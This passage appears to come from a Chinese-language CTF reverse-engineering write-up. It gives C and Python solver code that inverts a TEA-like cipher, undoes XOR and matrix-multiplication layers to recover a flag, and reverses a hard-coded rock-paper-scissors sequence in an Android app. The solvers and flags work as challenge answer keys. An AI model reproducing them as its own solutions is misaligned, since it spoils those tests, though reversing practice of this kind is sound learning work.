var_B4 = var_A0[var_A6];
var_B8 = var_A0[var_A6 + 1];
var_BC = var_A0[var_A6 + 2];

for (var_C0 = 32; var_C0 >= 1; var_C0--) {
// 反向操作: XOR 和 Addition 的逆操作
var_C4 = (var_B4 << 4);
var_CC = var_C4 ^ -559038737;
var_C8 = var_CC + (var_B4 ^ var_B0);
var_CC = var_C8;
var_C4 = (var_B4 >> 5);
var_D4 = var_CC + (var_C4 ^ -1161901314);
var_CC = var_D4;
var_BC = var_BC ^ var_CC;

var_C4 = (var_BC << 4);
var_CC = var_C4 ^ -559038737;
var_C8 = var_CC + (var_BC ^ var_B0);
var_CC = var_C8;
var_C4 = (var_BC >> 5);
var_D4 = var_CC + (var_C4 ^ -1161901314);
var_CC = var_D4;
var_B8 = var_B8 ^ var_CC;

var_C4 = (var_B8 << 4); // 左旋转4位
var_CC = var_C4 ^ -559038737;
var_C8 = var_CC + (var_B8 ^ var_B0);
var_CC = var_C8;
var_C4 = (var_B8 >> 5); // 右旋转5位
var_D4 = var_CC + (var_C4 ^ -1161901314);
var_CC = var_D4;
var_B4 = var_B4 ^ var_CC;

// 反向操作: 更新 var_B0
var_C8 = var_B0 + 1640531527;
var_B0 = var_C8;
}
printf("var_B0: %u\n", var_B0);
var_A0[var_A6] = var_B4;
var_A0[var_A6 + 1] = var_B8;
var_A0[var_A6 + 2] = var_BC;
}
for (int i=0; i<12; ++i) {
printf("%u, ", var_A0[i]);
}
puts("");
return var_A0;
}

// 将int数组转换为十六进制字符串的函数
void intArrayToHexString(int *array, int size, char *hexString) {
char *ptr = hexString; // 指针用于构建字符串
for (int i = 0; i < size; i++) {
// 为每个整数生成一个十六进制形式的字符串
sprintf(ptr, "%08X", array[i]);
ptr += 8; // 移动指针到下一个位置
}
*ptr = '\0'; // 添加字符串终止符
}

int main() {
// 示例使用:提供一个初始数组 raw
// uint32_t raw[12] = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11};
// Fxxxtel(raw);
// uint32_t raw2[12] = {310934673, 499298654, 2218878038, 698281177, 611794124, 3042240565, 2461360152, 2489961260, 3106737282, 513224779, 2259112052, 3206966772};
// FxxxtelDecrypt(raw2);

uint32_t raw3[12] = {0x30313233, 0x34353637, 0x38393031, 0x30313233, 0x34353637, 0x38393031, 0x30313233, 0x34353637, 0x38393031, 0x30313233, 0x34353637, 0x38393031};
Fxxxtel(raw3);
unsigned int numbers[] = {
-1719513012,
0x5E453769,
0x1677BCE3,
0x274285B4,
-1073299571,
-1079396546,
0x4E17793A,
-385687817,
0x710AAA57,
-1288653938,
-1587386381,
0x74E9FB14
};
unsigned* decnums = FxxxtelDecrypt(numbers);
char* hex_string = malloc(12 * 8 + 1);
intArrayToHexString(decnums, 12, hex_string);
printf("Decrypted: %s\n", hex_string);

// Fxxxtel(decnums);
return 0;
}

Crabs

第一层是异或。第二层是按照每个字母的顺序生成一个矩阵。第三层是矩阵乘法。

第三层求逆矩阵,第二层IDA搜索找出原数组,第一层异或回去。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
import numpy as np
t = "1Dv\qvYcz=}TmR~>sEgAQJA{LqEv]iLVX~cM@"
flag = ["x"] * 55
for idx, i in enumerate(t):
print(chr(ord(i) ^ idx), end="")
flag[idx] = chr(ord(i) ^ idx)
print()
print(chr(58), chr(64), chr(91), chr(96), chr(95))
flag[43] = chr(95)
flag[49] = chr(95)
print("".join(flag))

def invert_matrix(flat_matrix):
if len(flat_matrix) != 17 * 17:
raise ValueError("The input list must represent a 17x17 matrix.")

# 将一维列表转换成 17x17 的二维数组
matrix = np.array(flat_matrix).reshape(17, 17)

# 计算逆矩阵
try:
inverse_matrix = np.linalg.inv(matrix)
# 对逆矩阵结果四舍五入至最近的整数
rounded_inverse_matrix = inverse_matrix
# rounded_inverse_matrix = np.round(inverse_matrix).astype(int)
except np.linalg.LinAlgError:
raise ValueError("The matrix is not invertible.")

# 将二维逆矩阵转换回一维列表
flat_inverse_matrix = rounded_inverse_matrix.flatten().tolist()

return flat_inverse_matrix

def str_to_little_endian_hex(hex_str):

# 将十六进制字符串按每两个字符进行分组,然后反转顺序并拼接回字符串
little_endian_hex = ''.join(reversed([hex_str[i:i+2] for i in range(0, len(hex_str), 2)]))

# 将处理好的小端序十六进制字符串转换为大写并格式化输出
return int(little_endian_hex.upper(), 16)

def matrix_multiply(flat_matrix1, flat_matrix2, dim1, dim2, dim3):
# 将一维列表转换成对应的二维数组
matrix1 = np.array(flat_matrix1).reshape(dim1, dim2)
matrix2 = np.array(flat_matrix2).reshape(dim2, dim3)

# 执行矩阵乘法
result_matrix = np.dot(matrix1, matrix2)

# 将结果矩阵转换回一维列表
flat_result_matrix = result_matrix.flatten().tolist()

return flat_result_matrix

B_str = """
0E 00 00 00 1E 00 00 00 0A 00 00 00 31 00 00 00
1C 00 00 00 01 00 00 00 2A 00 00 00 15 00 00 00
26 00 00 00 00 00 00 00 15 00 00 00 17 00 00 00
2D 00 00 00 24 00 00 00 22 00 00 00 15 00 00 00
26 00 00 00 08 00 00 00 2F 00 00 00 18 00 00 00
24 00 00 00 2B 00 00 00 0C 00 00 00 12 00 00 00
00 00 00 00 09 00 00 00 1D 00 00 00 29 00 00 00
31 00 00 00 02 00 00 00 1D 00 00 00 04 00 00 00
2D 00 00 00 16 00 00 00 0B 00 00 00 30 00 00 00
23 00 00 00 21 00 00 00 25 00 00 00 23 00 00 00
2C 00 00 00 2C 00 00 00 0A 00 00 00 24 00 00 00
07 00 00 00 14 00 00 00 1B 00 00 00 0B 00 00 00
25 00 00 00 27 00 00 00 14 00 00 00 1E 00 00 00
04 00 00 00 01 00 00 00 14 00 00 00 0C 00 00 00
30 00 00 00 07 00 00 00 1F 00 00 00 0C 00 00 00
23 00 00 00 10 00 00 00 2E 00 00 00 1C 00 00 00
00 00 00 00 08 00 00 00 20 00 00 00 10 00 00 00
2A 00 00 00 22 00 00 00 09 00 00 00 05 00 00 00
17 00 00 00 0B 00 00 00 2D 00 00 00 2C 00 00 00
0E 00 00 00 2F 00 00 00 31 00 00 00 0D 00 00 00
1D 00 00 00 22 00 00 00 00 00 00 00 12 00 00 00
2C 00 00 00 1F 00 00 00 21 00 00 00 2C 00 00 00
21 00 00 00 1B 00 00 00 06 00 00 00 2C 00 00 00
00 00 00 00 21 00 00 00 25 00 00 00 09 00 00 00
2A 00 00 00 2F 00 00 00 01 00 00 00 17 00 00 00
30 00 00 00 08 00 00 00 10 00 00 00 2A 00 00 00
1F 00 00 00 1B 00 00 00 2B 00 00 00 2C 00 00 00
1F 00 00 00 19 00 00 00 1B 00 00 00 05 00 00 00
10 00 00 00 22 00 00 00 1B 00 00 00 27 00 00 00
0B 00 00 00 19 00 00 00 11 00 00 00 19 00 00 00
1B 00 00 00 12 00 00 00 18 00 00 00 1D 00 00 00
01 00 00 00 2E 00 00 00 20 00 00 00 22 00 00 00
1A 00 00 00 29 00 00 00 23 00 00 00 11 00 00 00
0C 00 00 00 1D 00 00 00 2C 00 00 00 14 00 00 00
02 00 00 00 21 00 00 00 10 00 00 00 23 00 00 00
1F 00 00 00 06 00 00 00 06 00 00 00 13 00 00 00
2B 00 00 00 06 00 00 00 1E 00 00 00 19 00 00 00
04 00 00 00 16 00 00 00 10 00 00 00 0A 00 00 00
1C 00 00 00 1A 00 00 00 0B 00 00 00 0F 00 00 00
1D 00 00 00 19 00 00 00 17 00 00 00 23 00 00 00
08 00 00 00 27 00 00 00 18 00 00 00 04 00 00 00
0C 00 00 00 10 00 00 00 06 00 00 00 0C 00 00 00
27 00 00 00 20 00 00 00 11 00 00 00 13 00 00 00
28 00 00 00 23 00 00 00 09 00 00 00 15 00 00 00
0B 00 00 00 2E 00 00 00 08 00 00 00 02 00 00 00
23 00 00 00 0F 00 00 00 0D 00 00 00 02 00 00 00
21 00 00 00 0D 00 00 00 2A 00 00 00 0E 00 00 00
1C 00 00 00 26 00 00 00 08 00 00 00 17 00 00 00
2E 00 00 00 14 00 00 00 06 00 00 00 1B 00 00 00
15 00 00 00 29 00 00 00 0E 00 00 00 1F 00 00 00
1D 00 00 00 24 00 00 00 2D 00 00 00 05 00 00 00
0F 00 00 00 0F 00 00 00 0E 00 00 00 1A 00 00 00
11 00 00 00 11 00 00 00 23 00 00 00 1D 00 00 00
27 00 00 00 2E 00 00 00 2D 00 00 00 1B 00 00 00
2E 00 00 00 18 00 00 00 0E 00 00 00 0E 00 00 00
08 00 00 00 27 00 00 00 31 00 00 00 06 00 00 00
12 00 00 00 0B 00 00 00 0D 00 00 00 02 00 00 00
00 00 00 00 28 00 00 00 30 00 00 00 0F 00 00 00
13 00 00 00 2C 00 00 00 02 00 00 00 2E 00 00 00
18 00 00 00 23 00 00 00 29 00 00 00 0B 00 00 00
08 00 00 00 05 00 00 00 0C 00 00 00 2B 00 00 00
1F 00 00 00 15 00 00 00 12 00 00 00 17 00 00 00
27 00 00 00 15 00 00 00 2B 00 00 00 1B 00 00 00
03 00 00 00 08 00 00 00 2B 00 00 00 31 00 00 00
2B 00 00 00 31 00 00 00 0E 00 00 00 2A 00 00 00
2B 00 00 00 1A 00 00 00 01 00 00 00 01 00 00 00
07 00 00 00 2A 00 00 00 31 00 00 00 0E 00 00 00
16 00 00 00 31 00 00 00 07 00 00 00 08 00 00 00
00 00 00 00 0B 00 00 00 05 00 00 00 11 00 00 00
0F 00 00 00 21 00 00 00 2C 00 00 00 0A 00 00 00
29 00 00 00 27 00 00 00 29 00 00 00 1D 00 00 00
20 00 00 00 25 00 00 00 2F 00 00 00 14 00 00 00
11 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
"""


C_str = """
33 38 00 00 65 44 00 00 E2 33 00 00 A9 39 00 00
36 3D 00 00 CA 3F 00 00 F8 46 00 00 3B 31 00 00
92 3B 00 00 2C 3F 00 00 21 47 00 00 15 46 00 00
B0 43 00 00 11 30 00 00 D0 3B 00 00 8A 3F 00 00
48 39 00 00 E8 3E 00 00 09 4B 00 00 21 39 00 00
4E 3F 00 00 41 43 00 00 A7 40 00 00 AE 4C 00 00
48 35 00 00 6A 41 00 00 27 44 00 00 84 4A 00 00
44 4A 00 00 F0 47 00 00 CB 31 00 00 14 3C 00 00
D9 45 00 00 97 3F 00 00 84 3C 00 00 B3 4B 00 00
AC 36 00 00 F7 40 00 00 87 41 00 00 EF 3C 00 00
5A 4B 00 00 BF 35 00 00 66 45 00 00 67 48 00 00
1F 49 00 00 AC 48 00 00 21 4A 00 00 44 30 00 00
9C 3C 00 00 60 47 00 00 0F 3F 00 00 B3 40 00 00
65 55 00 00 2F 3C 00 00 FF 49 00 00 06 4B 00 00
C9 40 00 00 73 54 00 00 ED 3A 00 00 92 4C 00 00
63 4C 00 00 06 51 00 00 09 52 00 00 2C 50 00 00
F8 37 00 00 CA 41 00 00 57 50 00 00 80 45 00 00
3D 3F 00 00 48 50 00 00 ED 39 00 00 5A 44 00 00
4F 46 00 00 EC 3F 00 00 77 50 00 00 88 39 00 00
73 49 00 00 76 4A 00 00 E8 4C 00 00 41 4D 00 00
0D 4D 00 00 A7 33 00 00 44 3F 00 00 F5 4B 00 00
84 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00
"""

m_B = []
for idx, hex in enumerate(B_str.split()):
if idx % 4 == 0:
m_B.append(int(hex, 16))
m_B = m_B[:-3]
m_B = invert_matrix(m_B)

m_C = []
for idx in range(85):
num = str_to_little_endian_hex("".join(C_str.split()[idx*4:idx*4+4]))
m_C.append(num)


m_A = matrix_multiply(m_C, m_B, 5, 17, 17)
for i in range(5):
for j in range(17):
# print(round(m_A[i*17+j]), end=" ")
print(chr(round(m_A[i*17+j])), end="")
print()


B_str = """
18 00 00 00 07 00 00 00 1B 00 00 00 2E 00 00 00
2C 00 00 00 0B 00 00 00 0F 00 00 00 08 00 00 00
0A 00 00 00 08 00 00 00 1B 00 00 00 1C 00 00 00
18 00 00 00 1A 00 00 00 12 00 00 00 08 00 00 00
04 00 00 00 17 00 00 00 2D 00 00 00 27 00 00 00
24 00 00 00 1E 00 00 00 22 00 00 00 2C 00 00 00
11 00 00 00 1D 00 00 00 30 00 00 00 04 00 00 00
1D 00 00 00 2E 00 00 00 22 00 00 00 2C 00 00 00
22 00 00 00 2B 00 00 00 09 00 00 00 0C 00 00 00
21 00 00 00 07 00 00 00 2E 00 00 00 0E 00 00 00
0F 00 00 00 0A 00 00 00 2F 00 00 00 0D 00 00 00
11 00 00 00 09 00 00 00 12 00 00 00 07 00 00 00
03 00 00 00 1E 00 00 00 0D 00 00 00 0E 00 00 00
19 00 00 00 00 00 00 00 1D 00 00 00 1D 00 00 00
08 00 00 00 1D 00 00 00 08 00 00 00 28 00 00 00
21 00 00 00 14 00 00 00 06 00 00 00 1F 00 00 00
2B 00 00 00 2E 00 00 00 23 00 00 00 05 00 00 00
1C 00 00 00 0C 00 00 00 1C 00 00 00 12 00 00 00
27 00 00 00 05 00 00 00 14 00 00 00 2B 00 00 00
23 00 00 00 1C 00 00 00 01 00 00 00 1A 00 00 00
04 00 00 00 29 00 00 00 19 00 00 00 26 00 00 00
07 00 00 00 25 00 00 00 14 00 00 00 2F 00 00 00
15 00 00 00 14 00 00 00 24 00 00 00 31 00 00 00
15 00 00 00 0D 00 00 00 29 00 00 00 04 00 00 00
1D 00 00 00 0B 00 00 00 07 00 00 00 01 00 00 00
10 00 00 00 01 00 00 00 1A 00 00 00 2D 00 00 00
0D 00 00 00 05 00 00 00 19 00 00 00 00 00 00 00
1E 00 00 00 0B 00 00 00 16 00 00 00 0C 00 00 00
1D 00 00 00 23 00 00 00 2C 00 00 00 0B 00 00 00
2F 00 00 00 20 00 00 00 1E 00 00 00 23 00 00 00
2E 00 00 00 05 00 00 00 18 00 00 00 19 00 00 00
0A 00 00 00 04 00 00 00 1F 00 00 00 09 00 00 00
14 00 00 00 05 00 00 00 04 00 00 00 0A 00 00 00
24 00 00 00 0E 00 00 00 1E 00 00 00 2C 00 00 00
2A 00 00 00 31 00 00 00 28 00 00 00 2F 00 00 00
0F 00 00 00 07 00 00 00 0E 00 00 00 10 00 00 00
1A 00 00 00 28 00 00 00 07 00 00 00 08 00 00 00
23 00 00 00 2A 00 00 00 08 00 00 00 2C 00 00 00
01 00 00 00 19 00 00 00 00 00 00 00 0E 00 00 00
16 00 00 00 0A 00 00 00 17 00 00 00 0C 00 00 00
09 00 00 00 12 00 00 00 11 00 00 00 0A 00 00 00
30 00 00 00 27 00 00 00 04 00 00 00 11 00 00 00
21 00 00 00 2C 00 00 00 0A 00 00 00 18 00 00 00
28 00 00 00 18 00 00 00 21 00 00 00 0D 00 00 00
24 00 00 00 13 00 00 00 15 00 00 00 28 00 00 00
14 00 00 00 20 00 00 00 11 00 00 00 11 00 00 00
25 00 00 00 2B 00 00 00 2E 00 00 00 1A 00 00 00
00 00 00 00 30 00 00 00 0D 00 00 00 15 00 00 00
10 00 00 00 06 00 00 00 1E 00 00 00 2D 00 00 00
23 00 00 00 28 00 00 00 20 00 00 00 24 00 00 00
0F 00 00 00 05 00 00 00 2D 00 00 00 01 00 00 00
18 00 00 00 1E 00 00 00 17 00 00 00 05 00 00 00
19 00 00 00 2D 00 00 00 24 00 00 00 02 00 00 00
23 00 00 00 0A 00 00 00 1C 00 00 00 17 00 00 00
0B 00 00 00 03 00 00 00 2F 00 00 00 07 00 00 00
14 00 00 00 19 00 00 00 1C 00 00 00 1C 00 00 00
29 00 00 00 1F 00 00 00 01 00 00 00 2B 00 00 00
2E 00 00 00 0D 00 00 00 08 00 00 00 09 00 00 00
2D 00 00 00 2F 00 00 00 29 00 00 00 12 00 00 00
2B 00 00 00 00 00 00 00 2B 00 00 00 0D 00 00 00
24 00 00 00 2A 00 00 00 1D 00 00 00 2A 00 00 00
21 00 00 00 26 00 00 00 11 00 00 00 03 00 00 00
09 00 00 00 22 00 00 00 31 00 00 00 0A 00 00 00
1C 00 00 00 20 00 00 00 19 00 00 00 03 00 00 00
19 00 00 00 29 00 00 00 1B 00 00 00 23 00 00 00
15 00 00 00 1B 00 00 00 0E 00 00 00 04 00 00 00
1F 00 00 00 20 00 00 00 1F 00 00 00 20 00 00 00
0F 00 00 00 11 00 00 00 0A 00 00 00 1F 00 00 00
1A 00 00 00 0B 00 00 00 2E 00 00 00 17 00 00 00
10 00 00 00 0C 00 00 00 00 00 00 00 13 00 00 00
02 00 00 00 10 00 00 00 0C 00 00 00 00 00 00 00
0B 00 00 00 04 00 00 00 25 00 00 00 26 00 00 00
1D 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
"""

C_str = """
1F 40 00 00 05 3D 00 00 10 49 00 00 52 3D 00 00
15 46 00 00 B1 2B 00 00 B6 3F 00 00 FA 34 00 00
AF 38 00 00 47 3A 00 00 4C 27 00 00 22 3F 00 00
8F 42 00 00 BB 35 00 00 98 3D 00 00 C6 4B 00 00
C6 31 00 00 40 41 00 00 03 3F 00 00 0A 4F 00 00
C5 41 00 00 00 4A 00 00 14 2F 00 00 E7 41 00 00
6F 37 00 00 46 3B 00 00 EF 3C 00 00 AC 2D 00 00
0C 44 00 00 76 4A 00 00 54 36 00 00 A5 41 00 00
D2 50 00 00 15 38 00 00 60 43 00 00 F4 3C 00 00
7C 54 00 00 F4 45 00 00 67 49 00 00 34 31 00 00
5F 41 00 00 91 37 00 00 45 3C 00 00 A8 3F 00 00
57 2D 00 00 2D 45 00 00 85 4C 00 00 87 36 00 00
B6 41 00 00 57 54 00 00 15 38 00 00 ED 3E 00 00
B3 39 00 00 E6 50 00 00 5F 41 00 00 BE 47 00 00
36 2F 00 00 A5 3F 00 00 E8 35 00 00 59 39 00 00
DF 3B 00 00 36 2C 00 00 75 41 00 00 9B 47 00 00
79 33 00 00 0D 40 00 00 3A 4F 00 00 18 35 00 00
89 3C 00 00 1B 38 00 00 0E 4B 00 00 EA 3E 00 00
28 44 00 00 49 2D 00 00 DB 3C 00 00 A7 32 00 00
F7 34 00 00 E4 36 00 00 3A 28 00 00 35 3D 00 00
16 44 00 00 59 31 00 00 43 3D 00 00 62 49 00 00
F9 31 00 00 00 00 00 00 00 00 00 00 00 00 00 00
"""

m_B = []
for idx, hex in enumerate(B_str.split()):
if idx % 4 == 0:
m_B.append(int(hex, 16))
m_B = m_B[:-3]
m_B = invert_matrix(m_B)

m_C = []
for idx in range(85):
num = str_to_little_endian_hex("".join(C_str.split()[idx*4:idx*4+4]))
m_C.append(num)


m_A = matrix_multiply(m_C, m_B, 5, 17, 17)
for i in range(5):
for j in range(17):
print(chr(round(m_A[i*17+j])), end="")
print()

B_str = """
18 00 00 00 23 00 00 00 27 00 00 00 2E 00 00 00
0F 00 00 00 2A 00 00 00 15 00 00 00 20 00 00 00
1A 00 00 00 09 00 00 00 29 00 00 00 01 00 00 00
28 00 00 00 03 00 00 00 14 00 00 00 27 00 00 00
30 00 00 00 1C 00 00 00 30 00 00 00 04 00 00 00
1E 00 00 00 17 00 00 00 10 00 00 00 0F 00 00 00
27 00 00 00 14 00 00 00 22 00 00 00 0A 00 00 00
0C 00 00 00 1E 00 00 00 2D 00 00 00 08 00 00 00
0A 00 00 00 18 00 00 00 26 00 00 00 16 00 00 00
28 00 00 00 2D 00 00 00 1B 00 00 00 01 00 00 00
14 00 00 00 0F 00 00 00 05 00 00 00 00 00 00 00
09 00 00 00 06 00 00 00 2C 00 00 00 0B 00 00 00
29 00 00 00 31 00 00 00 14 00 00 00 06 00 00 00
28 00 00 00 08 00 00 00 0A 00 00 00 0D 00 00 00
18 00 00 00 15 00 00 00 27 00 00 00 0E 00 00 00
22 00 00 00 2D 00 00 00 0F 00 00 00 18 00 00 00
29 00 00 00 06 00 00 00 1D 00 00 00 10 00 00 00
25 00 00 00 16 00 00 00 1E 00 00 00 10 00 00 00
05 00 00 00 08 00 00 00 18 00 00 00 25 00 00 00
18 00 00 00 2D 00 00 00 09 00 00 00 1A 00 00 00
23 00 00 00 2F 00 00 00 1E 00 00 00 1B 00 00 00
27 00 00 00 09 00 00 00 13 00 00 00 16 00 00 00
0E 00 00 00 0C 00 00 00 05 00 00 00 17 00 00 00
2B 00 00 00 22 00 00 00 1C 00 00 00 20 00 00 00
14 00 00 00 03 00 00 00 05 00 00 00 18 00 00 00
08 00 00 00 1A 00 00 00 10 00 00 00 1F 00 00 00
03 00 00 00 04 00 00 00 29 00 00 00 29 00 00 00
1A 00 00 00 1D 00 00 00 21 00 00 00 02 00 00 00
07 00 00 00 1E 00 00 00 24 00 00 00 14 00 00 00
24 00 00 00 14 00 00 00 2F 00 00 00 1F 00 00 00
30 00 00 00 25 00 00 00 27 00 00 00 25 00 00 00
23 00 00 00 18 00 00 00 05 00 00 00 12 00 00 00
1B 00 00 00 2A 00 00 00 0C 00 00 00 0B 00 00 00
06 00 00 00 2B 00 00 00 04 00 00 00 0B 00 00 00
27 00 00 00 05 00 00 00 1F 00 00 00 19 00 00 00
11 00 00 00 26 00 00 00 18 00 00 00 06 00 00 00
10 00 00 00 2C 00 00 00 18 00 00 00 04 00 00 00
19 00 00 00 19 00 00 00 1E 00 00 00 1D 00 00 00
06 00 00 00 09 00 00 00 29 00 00 00 11 00 00 00
08 00 00 00 22 00 00 00 21 00 00 00 17 00 00 00
1F 00 00 00 17 00 00 00 2A 00 00 00 1F 00 00 00
0A 00 00 00 31 00 00 00 28 00 00 00 15 00 00 00
11 00 00 00 05 00 00 00 1F 00 00 00 2F 00 00 00
2B 00 00 00 22 00 00 00 2E 00 00 00 22 00 00 00
20 00 00 00 23 00 00 00 2C 00 00 00 2B 00 00 00
15 00 00 00 0D 00 00 00 00 00 00 00 01 00 00 00
20 00 00 00 23 00 00 00 29 00 00 00 10 00 00 00
1E 00 00 00 21 00 00 00 1C 00 00 00 22 00 00 00
0A 00 00 00 1F 00 00 00 1B 00 00 00 28 00 00 00
29 00 00 00 04 00 00 00 0B 00 00 00 2E 00 00 00
15 00 00 00 25 00 00 00 0D 00 00 00 04 00 00 00
1D 00 00 00 30 00 00 00 26 00 00 00 11 00 00 00
30 00 00 00 05 00 00 00 0F 00 00 00 1C 00 00 00
2F 00 00 00 18 00 00 00 1D 00 00 00 0E 00 00 00
08 00 00 00 31 00 00 00 31 00 00 00 28 00 00 00
27 00 00 00 0F 00 00 00 2D 00 00 00 2B 00 00 00
0B 00 00 00 1E 00 00 00 1D 00 00 00 22 00 00 00
14 00 00 00 0C 00 00 00 25 00 00 00 1A 00 00 00
2F 00 00 00 1C 00 00 00 2A 00 00 00 09 00 00 00
13 00 00 00 23 00 00 00 27 00 00 00 2C 00 00 00
1B 00 00 00 19 00 00 00 26 00 00 00 07 00 00 00
12 00 00 00 13 00 00 00 1C 00 00 00 0C 00 00 00
11 00 00 00 08 00 00 00 2B 00 00 00 1C 00 00 00
1E 00 00 00 22 00 00 00 22 00 00 00 06 00 00 00
1A 00 00 00 1B 00 00 00 12 00 00 00 14 00 00 00
1F 00 00 00 21 00 00 00 18 00 00 00 03 00 00 00
13 00 00 00 06 00 00 00 28 00 00 00 1E 00 00 00
30 00 00 00 12 00 00 00 1D 00 00 00 04 00 00 00
13 00 00 00 1D 00 00 00 01 00 00 00 0B 00 00 00
1A 00 00 00 1F 00 00 00 15 00 00 00 1C 00 00 00
25 00 00 00 10 00 00 00 2D 00 00 00 05 00 00 00
19 00 00 00 1C 00 00 00 0E 00 00 00 15 00 00 00
26 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
"""

C_str = """
5F 38 00 00 30 54 00 00 13 40 00 00 54 37 00 00
24 45 00 00 41 38 00 00 97 3B 00 00 F5 41 00 00
18 3F 00 00 D3 41 00 00 ED 37 00 00 5D 27 00 00
30 45 00 00 DE 41 00 00 B3 40 00 00 A4 3D 00 00
A9 3E 00 00 70 38 00 00 21 52 00 00 37 3E 00 00
67 35 00 00 37 43 00 00 0C 3A 00 00 87 3A 00 00
4C 40 00 00 1B 3C 00 00 F5 41 00 00 EB 39 00 00
B3 26 00 00 0C 47 00 00 B9 44 00 00 81 3F 00 00
82 3D 00 00 67 3C 00 00 0B 37 00 00 EC 53 00 00
69 3F 00 00 57 34 00 00 9C 44 00 00 0E 38 00 00
33 39 00 00 92 3E 00 00 4E 3C 00 00 1A 3F 00 00
A8 38 00 00 17 29 00 00 23 41 00 00 45 41 00 00
19 41 00 00 63 3A 00 00 64 3F 00 00 81 38 00 00
C9 54 00 00 25 3F 00 00 54 37 00 00 78 46 00 00
C7 3A 00 00 86 3B 00 00 5C 41 00 00 6C 40 00 00
B1 41 00 00 A7 39 00 00 F7 26 00 00 76 43 00 00
8C 3E 00 00 C2 42 00 00 0D 3B 00 00 FD 3F 00 00
1C 37 00 00 43 52 00 00 02 40 00 00 99 36 00 00
6A 43 00 00 32 36 00 00 32 3A 00 00 19 40 00 00
A3 3C 00 00 C3 40 00 00 F0 34 00 00 08 27 00 00
87 43 00 00 02 40 00 00 C5 3F 00 00 3F 3C 00 00
23 3C 00 00 00 00 00 00 00 00 00 00 00 00 00 00
"""
m_B = []
for idx, hex in enumerate(B_str.split()):
if idx % 4 == 0:
m_B.append(int(hex, 16))
m_B = m_B[:-3]
m_B = invert_matrix(m_B)

m_C = []
for idx in range(85):
num = str_to_little_endian_hex("".join(C_str.split()[idx*4:idx*4+4]))
m_C.append(num)


m_A = matrix_multiply(m_C, m_B, 5, 17, 17)
for i in range(5):
for j in range(17):
print(chr(round(m_A[i*17+j])), end="")
print()
#mOUNDwh??WCr46s
# 1Et_us_dr4w_a_p1cTuRE_WlTh_mAtRIx_And1mOUND_wh1tE_Cr46s

"""
11 111
1111 11 11
1111 11 11
1111111111 11
11111111 11
1111 11
11 111111
111111111
1111111
11111
11 111
11 111
11 11
11 11 1
11 11
"""

安安又卓卓

拖进jadx。

第一层是石头剪刀布,对面的出拳是写死的。第二层去逆向那个数字就行。第三层混淆了但没完全混淆。

1
2
3
4
5
6
7
8
9
10
11
right_choice = ['2', '3', '2', '2', '2', '2', '2', '3', '2', '1', '1', '2', '1', '1', '1', '2', '2', '3', '1', '2', '2', '3', '2', '2', '2', '3', '1', '3', '2', '2', '1', '2', '2', '1', '3', '2', '1', '1', '3', '3', '2', '3', '3', '2', '3', '2', '2', '3', '2', '3', '1', '2', '2', '3', '2', '2', '2', '3', '2', '3', '3', '3', '1', '3', '2', '1', '3', '2', '1', '2', '2', '3', '2', '3', '3', '3', '2', '2', '3', '3', '2', '3', '2', '1', '1', '3', '1', '1', '2', '3', '3', '3', '2', '3', '3', '2', '2', '3', '3', '2', '2', '3', '2', '3', '2', '1', '3', '3', '2', '2', '1', '2', '2', '1', '1', '1', '1', '2', '2', '1', '2', '1', '2', '1', '3', '3', '1', '3', '2', '3', '1', '2', '1', '2', '2', '1', '2', '1', '3', '2', '3', '1', '1', '2', '2', '3', '1', '3', '2', '1', '2', '2', '2', '1', '3', '2', '2', '1', '2', '3', '2', '3', '1', '3', '2', '2', '1', '2', '2', '3', '1', '2', '2', '1', '2', '1', '2', '3', '3', '3', '2', '2', '3', '1', '2', '1', '1', '1', '2', '1', '2', '2', '2', '3', '1', '2', '1', '2', '2', '1', '2', '1', '3', '2', '3', '3', '3', '2', '2', '3', '1', '2', '2', '3', '1', '3', '2', '1', '2', '1', '3', '1', '3', '3', '2', '1', '3', '2', '2', '2', '2', '1', '2', '1', '3', '2', '1', '1', '1', '2', '2', '1', '3', '2', '2', '1', '2', '2', '2', '1', '2', '3', '1', '3', '3', '3']
left_choice = ""
for i in right_choice:
# 1 石头 2 剪刀 3 布
if i == '1':
left_choice += '3'
elif i == '2':
left_choice += '1'
elif i == '3':
left_choice += '2'
print(left_choice)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
def add(a, b): return a + b
def sub(a, b): return a - b
